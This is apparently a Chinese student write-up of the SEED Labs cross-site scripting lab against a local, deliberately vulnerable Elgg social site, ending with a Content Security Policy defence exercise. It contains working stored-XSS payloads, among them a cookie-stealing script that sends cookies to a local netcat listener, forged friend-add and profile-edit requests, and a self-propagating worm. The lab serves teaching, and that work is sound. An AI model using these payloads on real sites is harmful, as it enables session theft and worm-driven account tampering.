LAB10 跨站脚本攻击

跨站脚本攻击

   跨站脚本攻击是一种代码注入攻击,这种攻击通常涉及三个实体:攻击者、被攻击用户和目标网站。一般情况下,用户在目标网站的网页及用户与目标网站的交互都会被保护起来,保护方法有登录凭证、会话cookie 等。攻击者要直接对这些页面或交互进行攻击比较困难。一种攻击它们的方法是向目标用户的浏览器中注入代码。
   把一段代码注入目标浏览器并不难。实际上,每次用户访问攻击者的网页时,网页中的JavaScript 代码都会在用户的浏览器上运行。然而,由于浏览器实施的沙盒保护机制攻击者的代码波及不到目标网站的页面,也不能影响用户与目标网站的互动。要想实施攻击, 代码必须来自目标网站。一般而言, 攻击者必须找到将自己的恶意代码经由目标网站注如目标浏览器的方法。这类攻击称为跨站脚本攻击。下图为XSS攻击的基本思想:
在这里插入图片描述
   网站会信任来自同一个网站的代码,这些代码可以修改该网站页面的内容,读取属于该网站的cookie,还能代表用户向网站发送请求。通常,如果一个用户与网站之间有活跃会话,这段代码就可以执行任何用户能够在一个会话中执行的操作。
   攻击者有两种典型的方法通过目标网站将他们的代码注入目标用户的浏览器中: 一种称为反射型(临时)XSS (non-persistent XSS),另一种称为存储型XSS(per sistent XSS)。

反射型XSS攻击

  许多网站都有反射行为,也就是它们从用户那里接收输入,执行一些操作,然后向用户发送响应网页,用户的输入也被包含在响应中(即用户的输入被返回)。例如,当用谷歌搜索一些不存在的词(如xyz)时,谷歌返回的结果页面通常包含诸如“ 找不到与xyz相符的结果”的内容。可以看到,输入的xyz被反射回来了。
  如果有这种反射行为的网站没有对用户输入进行适当的处理,那么它就可能存在XSS漏洞。攻击者可以在输入中混入JavaScript代码,当输入被反射回浏览器时,JavaScript码将被注入该网站的网页中。这正是成功的XS S攻击所必备的要素。值得注意的是,承载代码的输入必须从目标用户的计算机发出,随后藏有注入代码的网页就可以被发送给目标用户的浏览器,注入代码就能以该用户的权限来运行。

存储型XSS攻击

  在存储型XSS攻击中,攻击者可以直接把数据发送给目标网站,网站会对数据进行持久性存储。之后,如果网站将存储的数据发送给其他用户,那么它就在攻击者和其他用户之间创建了一条通道。这种通道在网络应用程序中十分普遍。例如,杜交网站的用户主页就是这样一种通道,因为用户主页中的数据由用户自己设置,能够被很多其他用户查看。另一个例子是用户评论,它由一个用户提供,但同样能被其他人查看。
  这些通道应当是数据通道,即只有数据才能通过这些通道发送。然而, 用户提供的数据可以包含各种HTML 标记,其中包括代码标记。这就使得用户可以在他们的输入中嵌入一段JavaScript 代码。如果该输入没有被适当处理,其中的代码就会通过上述通道进入其它用户的浏览器中。该情况一旦发生,代码就会执行。对浏览器而言,这些代码就像同一页面的其他代码一样,浏览器并不知道这些代码是用户提供的还是网站提供的。因此,这些代码被赋予了与网页其他代码一样的权限。

XSS能造成的破坏

  1. 污染网页。JavaScript 代码可以使用DOM API 来访问DOM 结点,包括读取、写入和删除DOM 结点。因此,注入的JavaScript 代码可以任意篡改网页。例如,某一个页面本来是一篇新闻,注入的JavaScript 代码可以把这篇新闻改成彻头彻尾的假新闻,或篡改页面中的图片。
  2. 欺骗请求。注入的JavaScript 代码也可以代表用户向服务器发送HTTP 请求。在Samy 蠕虫的例子中,恶意代码向Boby 发送HTTP 请求,在目标用户的好友列表中添加新朋友,并篡改用户的个人资料。
  3. 窃取信息。注入的JavaScript 代码还能窃取用户的个人信息, 包括会话cookie 、网页中显示的个人数据以及被网络应用程序存储在本地的数据。

XSS攻击实战

   本节使用一个真实的网络应用程序来展示xss攻击的运作机理,以及攻击者是如何针对有XSS 漏洞的网络应用发动攻击的。实验焦点放在存储型XSS 攻击上,模仿Samy对Boby 网站所做的事情,即向预建的Ubuntu 16.04虚拟机中的一个网络应用发动类似的攻击。这个网络应用称为Elgg,是一款流行的开源社交网络应用程序。Elgg 采用了一些防御XSS 攻击的措施,为了实验的顺利进行,已经在虚拟机中关闭了这此措施,故意让其容易遭受攻击。
   用http://www.xsslabelgg.com 这个网站来运行Elgg 网络应用程序。这个网站就建在本机中。把网站名www.xsslabelgg.com映射到IP地址127.0.0.1(本地主机)文件中。该映射已被添加到/etc/hosts文件中。除此之外,下面的条目已被添加到Apache服务器的配置文件/etc/apache2/sites-available/000-default.conf中,以使得Apache 服务器可以识别该站点。DocumentRoot 用于指定网站文件的存储目录。使用如下命令启动apache2:

sudo service apache2 restart

网站首页如下:
在这里插入图片描述

Task 1: Posting a Malicious Message to Display an Alert Window

   此task的目标是通过XSS攻击来展示一个警告窗口,比如说当别的用户浏览你的主页时,JS程序会被执行,效果是展示一个警告窗口。攻击者Boby修改自己的profile,将简介修改为如下内容并保存:

<script>alert("You have been attacked!!");</script>

在这里插入图片描述
保存后可以看到如下结果:
在这里插入图片描述
Alice看到的Boby主页如下:
在这里插入图片描述
若是要注入很长的代码, 可以将简介修改为如下内容,其中src为JS脚本路径:

<script type="text/javascript" src="http://www.example.com/myscripts.js">
</script>

Task 2: Posting a Malicious Message to Display Cookies

   这部分主要是利用XSS攻击来显示访问你主页用户的cookies,原理与task1类似,将简介内容修改为如下并保存:

<script>alert("You have been attacked!! cookie:" + document.cookie);</script>

Boby查看自己的主页,弹框结果如下,可以看到显示了自己的cookie:
在这里插入图片描述
在这里插入图片描述
未登录状态查看Boby主页,也显示了cookie,但cookie所包含的内容比较少:
在这里插入图片描述

Task 3: Stealing Cookies from the Victim’s Machine

   在上面的task中,攻击者并不能看到来访者的cookie,该task主要是利用XSS攻击来获得来访者的cookie。将简介内容修改为如下内容:

<script>document.write("<img src='http://127.0.0.1:5555?c=" + document.cookie + "\'>");</script>

当JS注入在img标签中时,会导致一个发送给攻击者的HTTP GET请求。攻击前先用下面的命令在本地监听访问Boby主页发来的Cookie。

nc -l 5555 -v

Boby刷新主页时得到如下信息:
在这里插入图片描述
未登录用户查看Boby主页时,得到如下信息:
在这里插入图片描述

Task 4: Becoming the Victim’s Friend

   这部分主要是利用XSS攻击让受害者自动添加samy好友,添加samy好友的get请求如下:
在这里插入图片描述
在这里插入图片描述
构造脚本如下,由于脚本过长,需要将它放在About me中,注意要放在Edit HTML模式中。Edit HTML模式不会对你的输入进行修改,内容如下:

<script type="text/javascript">
    window.onload = function () {
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
    var sendurl="/action/friends/add?friend=47" + ts + token + ts + token;
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("X-Requested-With","XMLHttpRequest");
    Ajax.send();
}
</script>

以Boby自己为例,先取消Samy好友,再访问自己主页,然后回去看可以看到已成功添加Samy为好友:
在这里插入图片描述
在这里插入图片描述
换成其他用户访问Boby主页也会自动添加Army为好友,这里用Alice进行测试。
在这里插入图片描述
在这里插入图片描述
Q1: 解释脚本中的ts和token的作用
A1: ts 和 token其实就是防御CSRF攻击的秘密令牌,在请求时会被发送到服务端进行校验,校验通过请求才有效。这里我们模拟发送添加好友请求自然也要在请求中附带这些令牌值。
Q2: 如果没有Edit HTML模式,只能用普通的Editor Mode,还能攻击成功吗?
A2:不可以。因为它会在代码中添加各种标签并转义一些符号,如把<变成< 所以攻击不可能成功。下面是一个例子,展现了变换前后的代码

Task 5: Modifying the Victim’s Profile

   这部分主要是利用XSS攻击修改别人的主页,即修改访问Samy主页的用户的主页。Samy修改主页的post请求如下:
在这里插入图片描述
body部分如下:
在这里插入图片描述
修改脚本为下面内容:

<script type="text/javascript">
window.onload = function(){
    var name="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
    var description = "&description=Your profile have been attacked!!!";
    var content=token + ts + description + guid + name;
    var samyGuid=47;
    if(elgg.session.user.guid!=samyGuid)
    {
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

初始时目前Boby主页是空的:
在这里插入图片描述
访问Samy主页后Boby的主页被修改了:
在这里插入图片描述
Q1: 脚本中为什么要判断当前user的guid不等于samy的guid?
A1:因为如果去掉这一行,那么samy修改完主页后会自动跳转回自己的主页,脚本会将samy的主页修改为"You have been attacked"。从而原来的脚本被删除了,因此其他人再访问samy主页时不会被修改主页,攻击失败。这里我们演示一下,使用脚本如下:

<script type="text/javascript">
window.onload = function(){
    var name="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="__elgg_token="+elgg.security.token.__elgg_token;
 
    var description = "&description=<p><b>Your profile have been attacked!!!<\/b><\/p>";
 
    var content=token + ts + description + guid + name;
 
    Ajax=new XMLHttpRequest();
    Ajax.open("POST","/action/profile/edit",true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    Ajax.send(content);
}
</script>

在这里插入图片描述
刷新页面后,About me变成如下结果:
在这里插入图片描述

Task 6: Writing a Self-Propagating XSS Worm

   这部分主要是实现自传播的XSS攻击,主要有两种实现方法。1. 将脚本放在远端,在主页放入带src属性的script标签,这种方法简单,实现代码短2. 直接在主页放脚本,要处理修改的脚本和修改的内容功能一致的问题,相对比较复杂。
这里使用第二种直接在主页嵌入脚本,脚本如下:

<script type="text/javascript" id=worm>
    window.onload = function(){
        var name="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="__elgg_token="+elgg.security.token.__elgg_token;
    
        var description = "&description=<b>Your profile have been attacked!!!<\/b>"
        var scriptstr = "<script type=\"text\/javascript\" id=worm>" + document.getElementById("worm").innerHTML + "<\/script>";
    
        var content=token + ts + description + encodeURIComponent(scriptstr) + guid + name;
    
        Ajax=new XMLHttpRequest();
        Ajax.open("POST","/action/profile/edit",true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    
    }
    </script>

   此过程与之前的修改主页过程类似,将JS脚本设置成动态的,用脚本从DOM中读取脚本内容,拼接起来,实现扩散。将上面脚本放入Samy的主页中,用Boby访问Samy的主页,结果如下:
在这里插入图片描述
再用Alice的账号访问Boby的主页,结果如下:
在这里插入图片描述
说明攻击成功,至此实现了XSS攻击从Samy扩散到Boby再到Alice的过程。

Task 7: Defeating XSS Attacks Using CSP

   这部分主要利用CSP防御XSS攻击。前面说过XSS漏洞的根本原因是HTML允许JavaScript中的代码与数据混编,因此要想从根本上解决问题,就必须把代码和数据分离开来。这必须由开发者来完成。其实,在网页中放入JavaScript代码有两种基本方法:一种是嵌入式,另外一种是引入式。嵌入式是把代码直接放在网页中,如下面例子中标注1和2的地方所示。引入式是把代码放在另外一个文件或URL中,然后把它们包含进网页,如下面例子中标注为3和4的地方所示。
在这里插入图片描述

   嵌入式代码是导致XSS 漏洞的罪魁祸首,因为浏览器无法知道代码的来源:是来自可信的网站,还是来自不可信的用户,所以浏览器无法决定哪些代码可以运行,哪些不可以运行。引入式代码提供了一个关键的信息,那就是代码来源。网站可以告诉浏览器哪些来源是可以信任的。虽然XSS 攻击者也可以用引入式的方法在数据中加入代码,但他们无法将代码放在被网站信任的地方。
   告诉浏览器哪些来源是可以信任的是通过一个叫作内容安全策略(contentsecurity policy, CSP)的机制(W3C, 2018)实现的。这是为了有效地防御XSS攻击而开发的一套机制,它已经成为标准,并在大部分浏览器中实现了。CSP不仅可以限制JavaScript,它还可以限制其他的网页内容,例如网页内图像的来源、视频音频的来源等。
   使用CSP,网站可以通过在回复的头部加入一些CSP规则,告诉浏览器不要运行页面中嵌入的任何JavaScript代码,所有代码都必须从网站单独下载。CSP规则参考:https://content-security-policy.com/

从https://seedsecuritylabs.org/Labs_16.04/Web/Web_XSS_Elgg/files/csp.zip下载代码到本地。其中用到的python代码如下,他主要是响应浏览器的请求,返回静态文件:
在这里插入图片描述

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import *
 
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        o = urlparse(self.path)
        f = open("." + o.path, 'rb')
        self.send_response(200)
        self.send_header('Content-Security-Policy',
            "default-src 'self';"
            "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ")
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(f.read())
        f.close()
 
httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
httpd.serve_forever()

使用到的测试HTML内容如下:

<html>
<h2 >CSP Test</h2>
<p>1. Inline: Correct Nonce: <span id=’area1’>Failed</span></p>
<p>2. Inline: Wrong Nonce: <span id=’area2’>Failed</span></p>
<p>3. Inline: No Nonce: <span id=’area3’>Failed</span></p>
<p>4. From self: <span id=’area4’>Failed</span></p>
<p>5. From example68.com: <span id=’area5’>Failed</span></p>
<p>6. From example79.com: <span id=’area6’>Failed</span></p>
 
<script type="text/javascript" nonce="1rA2345">
document.getElementById("area1").innerHTML = "OK";
</script>
 
<script type="text/javascript" nonce="2rB3333">
document.getElementById("area2").innerHTML = "OK";
</script>
 
<script type="text/javascript">
document.getElementById("area3").innerHTML = "OK";
</script>
<script src="script1.js"> </script>
<script src="http://www.example68.com:8000/script2.js"> </script>
<script src="http://www.example79.com:8000/script3.js"> </script>
<button onclick="alert('hello')">Click me</button>
</html>

编辑/etc/hosts文件,设置DNS为如下:

127.0.0.1       www.example32.com
127.0.0.1       www.example68.com
127.0.0.1       www.example79.com

运行上面的python脚本:

  1. 访问http://www.example32.com:8000/csptest.html 结果如下,点击按钮,没有反应:
    在这里插入图片描述
    原因分析:服务器返回CSP策略内容为"default-src ‘self’;" "script-src ‘self’ *.example68.com:8000 ‘nonce-1rA2345’ ",表明只有同源的和来自 *.example68.com:8000的引入式代码,nonce值为1rA2345的嵌入式代码可以执行
    字段一的script为嵌入式,nonce值为1rA2345,与策略匹配,可以执行,因此字段一显示OK
    字段二的script为嵌入式,nonce值为2rB3333,与策略不匹配,不可以执行,因此字段二显示Failed
    字段三为嵌入式,无nonce值,与策略不匹配,不可以执行,因此字段三显示Failed
    字段四为同源的引入式,与策略匹配,可以执行,因此字段四显示OK
    字段五为不同源的引入式,来源www.example68.com:8000 与策略匹配,可以执行,因此字段五显示OK
    字段六为不同源的引入式,来源www.example79.com:8000 不在允许范围内,与策略不匹配,不可以执行,因此字段五显示Failed
    按钮的点击响应代码为嵌入式,无nonce值,与策略不匹配,不可以执行,因此点击无反应

  2. 访问http://www.example68.com:8000/csptest.html 结果如下,点击按钮,没有反应:
    在这里插入图片描述
    原因分析:服务器返回CSP策略内容为"default-src ‘self’;" "script-src ‘self’ *.example68.com:8000 ‘nonce-1rA2345’ ",表明只有同源的和来自 *.example68.com:8000的引入式代码,nonce值为1rA2345的嵌入式代码可以执行
    字段一的script为嵌入式,nonce值为1rA2345,与策略匹配,可以执行,因此字段一显示OK
    字段二的script为嵌入式,nonce值为2rB3333,与策略不匹配,不可以执行,因此字段二显示Failed
    字段三为嵌入式,无nonce值,与策略不匹配,不可以执行,因此字段三显示Failed
    字段四为同源的引入式,与策略匹配,可以执行,因此字段四显示OK
    字段五为同源的引入式,与策略匹配,可以执行,因此字段五显示OK
    字段六为不同源的引入式,来源www.example79.com:8000 不在允许范围内,与策略不匹配,不可以执行,因此字段五显示Failed
    按钮的点击响应代码为嵌入式,无nonce值,与策略不匹配,不可以执行,因此点击无反应

  3. 访问http://www.example79.com:8000/csptest.html 结果如下,点击按钮,没有反应:
    在这里插入图片描述
    原因分析:服务器返回CSP策略内容为"default-src ‘self’;" "script-src ‘self’ *.example68.com:8000 ‘nonce-1rA2345’ ",表明只有同源的和来自 *.example68.com:8000的引入式代码,nonce值为1rA2345的嵌入式代码可以执行
    字段一的script为嵌入式,nonce值为1rA2345,与策略匹配,可以执行,因此字段一显示OK
    字段二的script为嵌入式,nonce值为2rB3333,与策略不匹配,不可以执行,因此字段二显示Failed
    字段三为嵌入式,无nonce值,与策略不匹配,不可以执行,因此字段三显示Failed
    字段四为同源的引入式,与策略匹配,可以执行,因此字段四显示OK
    字段五为不同源的引入式,来源www.example68.com:8000 与策略匹配,可以执行,因此字段五显示OK
    字段六为同源的引入式,与策略匹配,可以执行,因此字段六显示OK
    按钮的点击响应代码为嵌入式,无nonce值,与策略不匹配,不可以执行,因此点击无反应

  4. 修改服务器代码,使得字段1,2,5,6在三个连接中全部显示OK
    代码如下:

#!/usr/bin/env python3
 
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import *
 
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
  def do_GET(self):
    o = urlparse(self.path)
    f = open("." + o.path, 'rb') 
    self.send_response(200)
    self.send_header('Content-Security-Policy', 
          "default-src 'self';"
          "script-src 'self' *.example68.com:8000 *.example79.com:8000 'nonce-1rA2345' 'nonce-2rB3333' ")     
    self.send_header('Content-type', 'text/html')
    self.end_headers()
    self.wfile.write(f.read())
    f.close()
 
httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
httpd.serve_forever()
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值